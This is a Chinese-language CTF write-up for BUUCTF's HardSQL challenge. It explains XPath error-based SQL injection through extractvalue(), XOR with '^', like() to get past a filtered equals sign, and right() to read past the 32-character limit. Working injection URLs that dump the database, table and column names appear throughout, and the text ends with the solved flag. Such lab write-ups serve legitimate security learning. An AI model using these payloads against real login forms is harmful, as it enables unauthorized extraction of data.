1. 程式人生 > 實用技巧 >BUUCTF-[極客大挑戰 2019]HardSQL 1詳解

BUUCTF-[極客大挑戰 2019]HardSQL 1詳解

來到sql注入騷姿勢,我們一點一點開始學

我們來到這道題,然後嘗試注入,結果發現

拼接'or '1'='1

  'or '1'='2如果是字元型注入則會報錯,然而並沒有而是顯示的頁面一樣,

通過常規注入,回顯的頁面都是

最後,我們發現這道題是xpath報錯注入,函式注入

extractvalue()
extractvalue() :對XML文件進行查詢的函式

語法:extractvalue(目標xml文件,xml路徑)

第一個引數 : 第一個引數可以傳入目標xml文件

第二個引數: xml中的位置是可操作的地方,xml文件中查詢字元位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

      正常查詢 第二個引數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

tip: 還有要注意的地方是,它能夠查詢的字串長度最大是32個字元,如果超過32位,我們就需要用函式來查詢,比如right(),left(),substr()來擷取字串

再舉個栗子:

SELECT ExtractValue('<a><b><b/></a>', '/a/b');這個語句就是尋找前一段xml文件內容中的a節點下的b節點,這裡如果Xpath格式語法書寫錯誤的話,就會報錯。這裡就是利用這個特性來獲得我們想要知道的內容。

利用concat函式將想要獲得的資料庫內容拼接到第二個引數中,報錯時作為內容輸出。

知道這些知識之後,我們開始注入吧

百度了web 的騷操作
用’^'來連線函式,形成異或
這邊用的是extractvalue()

我們先去爆資料庫:

先構造payload:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(database()))))%23

於是我們知道了庫名叫:geek

然後,我們再payload爆表名,但是這裡把等於號給我們過濾了,不過我們還有騷操作like用法

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))

於是爆出表名:

爆列名:

?username=admin&password=admin'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

爆資料就完事了,這裡因為用extractvalue()函式,一次只能顯示32個字元,我們需要用right函式

再用right函式,爆右邊,然後拼接一下flag

拼接然後得到flag

flag{62b5ffa6-498c-465f-94e5-ddc474f549dc}